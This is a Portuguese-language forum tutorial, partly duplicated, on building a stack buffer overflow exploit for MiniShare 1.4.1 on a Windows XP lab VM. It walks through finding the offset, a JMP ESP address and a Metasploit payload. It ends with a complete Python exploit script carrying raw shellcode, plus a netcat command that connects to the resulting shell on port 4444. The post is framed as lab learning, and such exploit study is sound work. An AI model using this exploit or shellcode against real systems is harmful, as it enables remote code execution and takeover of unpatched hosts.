Pre-requisitos:
|---- VM Windows XP sp3
| |---- immunity debugger (download Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... )
| |---- minishare 1.4.1 (download Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... )
|----VM Kali (ou qualquer SO q tenha metasploit e python instalados)
1º Executa o Minishare e pegue o ip da maquina alvo:
2º Testando a Vulnerabilidade:
Escreva o seguinte codigo no seu editor de texto favorito!
no Windows uma janela de erro sugira, apos a execução do codigo test:
erro:
3º encontrado o local onde estoura a pilha (+ informações pesquisar sobre buffer overflow)
usando o seguinte comando temos:
agora nosso exploit deve fica assim:
executando o exploit novamente teremos o seguinte resultado:
agora temos a localização da onde acontece o buffer overflow
usando o comando
agora precisamos localizar o endereço de memoria onde esta localizado o comando jmp esp
q colocaremos no EIP redirecinando o fluxo do programa para nosso payload
no Immunity ---> view ---> executables modulos ---> shell32 ---> direito do mouse ---> search for ---> comando ---> jmp esp
chegaremos em algo + ou - assim!
4º finalmente criando o exploit
primeiro vms construir o payload com o metasploit da seguinte maneira
agora so precisamos copia o valor da variavel e colar no nosso exploit
então o nosso exploit deve fica + ou - assim:
(vai ter umas coisinhas q eu n falarei agora, para q o post n fique muito grande, + depois eu explico em outro post, como encontrando badchars e NOP Slep)
finalmente:
nc 192.168.56.101 4444
|---- VM Windows XP sp3
| |---- immunity debugger (download Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... )
| |---- minishare 1.4.1 (download Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... )
|----VM Kali (ou qualquer SO q tenha metasploit e python instalados)
1º Executa o Minishare e pegue o ip da maquina alvo:
2º Testando a Vulnerabilidade:
Escreva o seguinte codigo no seu editor de texto favorito!
no Windows uma janela de erro sugira, apos a execução do codigo test:
Código:
$:./minishareexploit.py 192.168.56.101
erro:
3º encontrado o local onde estoura a pilha (+ informações pesquisar sobre buffer overflow)
usando o seguinte comando temos:
agora nosso exploit deve fica assim:
executando o exploit novamente teremos o seguinte resultado:
agora temos a localização da onde acontece o buffer overflow
usando o comando
agora precisamos localizar o endereço de memoria onde esta localizado o comando jmp esp
q colocaremos no EIP redirecinando o fluxo do programa para nosso payload
no Immunity ---> view ---> executables modulos ---> shell32 ---> direito do mouse ---> search for ---> comando ---> jmp esp
chegaremos em algo + ou - assim!
4º finalmente criando o exploit
primeiro vms construir o payload com o metasploit da seguinte maneira
agora so precisamos copia o valor da variavel e colar no nosso exploit
então o nosso exploit deve fica + ou - assim:
(vai ter umas coisinhas q eu n falarei agora, para q o post n fique muito grande, + depois eu explico em outro post, como encontrando badchars e NOP Slep)
finalmente:
Código:
#!/usr/bin/python import socket, sys sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((sys.argv[1],80)) buffer = "GET " #valor adquirido no pattern create buffer += "A"*1787 #endereço de memoria do comando jmp esp buffer += "\xd7\x30\x9d\x7c" #NOP sled (no operation) buffer += "\x90"*20 #payload buffer += ("\xda\xc4\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x56\xbe\xc1\xae\x16" "\x70\x31\x70\x18\x83\xe8\xfc\x03\x70\xd5\x4c\xe3\x8c\x3d\x19" "\x0c\x6d\xbd\x7a\x84\x88\x8c\xa8\xf2\xd9\xbc\x7c\x70\x8f\x4c" "\xf6\xd4\x24\xc7\x7a\xf1\x4b\x60\x30\x27\x65\x71\xf4\xe7\x29" "\xb1\x96\x9b\x33\xe5\x78\xa5\xfb\xf8\x79\xe2\xe6\xf2\x28\xbb" "\x6d\xa0\xdc\xc8\x30\x78\xdc\x1e\x3f\xc0\xa6\x1b\x80\xb4\x1c" "\x25\xd1\x64\x2a\x6d\xc9\x0f\x74\x4e\xe8\xdc\x66\xb2\xa3\x69" "\x5c\x40\x32\xbb\xac\xa9\x04\x83\x63\x94\xa8\x0e\x7d\xd0\x0f" "\xf0\x08\x2a\x6c\x8d\x0a\xe9\x0e\x49\x9e\xec\xa9\x1a\x38\xd5" "\x48\xcf\xdf\x9e\x47\xa4\x94\xf9\x4b\x3b\x78\x72\x77\xb0\x7f" "\x55\xf1\x82\x5b\x71\x59\x51\xc5\x20\x07\x34\xfa\x33\xef\xe9" "\x5e\x3f\x02\xfe\xd9\x62\x4b\x33\xd4\x9c\x8b\x5b\x6f\xee\xb9" "\xc4\xdb\x78\xf2\x8d\xc5\x7f\xf5\xa4\xb2\x10\x08\x46\xc3\x39" "\xcf\x12\x93\x51\xe6\x1a\x78\xa2\x07\xcf\x2f\xf2\xa7\xbf\x8f" "\xa2\x07\x6f\x78\xa9\x87\x50\x98\xd2\x4d\xe7\x9e\x1c\xb5\xa4" "\x48\x5d\x49\x5b\xd5\xe8\xaf\x31\xf5\xbc\x78\xad\x37\x9b\xb0" "\x4a\x47\xc9\xec\xc3\xdf\x45\xfb\xd3\xe0\x55\x29\x70\x4c\xfd" "\xba\x02\x9e\x3a\xda\x15\x8b\x6a\x95\x2e\x5c\xe0\xcb\xfd\xfc" "\xf5\xc1\x95\x9d\x64\x8e\x65\xeb\x94\x19\x32\xbc\x6b\x50\xd6" "\x50\xd5\xca\xc4\xa8\x83\x35\x4c\x77\x70\xbb\x4d\xfa\xcc\x9f" "\x5d\xc2\xcd\x9b\x09\x9a\x9b\x75\xe7\x5c\x72\x34\x51\x37\x29" "\x9e\x35\xce\x01\x21\x43\xcf\x4f\xd7\xab\x7e\x26\xae\xd4\x4f" "\xae\x26\xad\xad\x4e\xc8\x64\x76\x7e\x83\x24\xdf\x17\x4a\xbd" "\x5d\x7a\x6d\x68\xa1\x83\xee\x98\x5a\x70\xee\xe9\x5f\x3c\xa8" "\x02\x12\x2d\x5d\x24\x81\x4e\x74") buffer += " HTTP/1.1\r\n\r\n" sock.send(buffer) sock.close()
Comment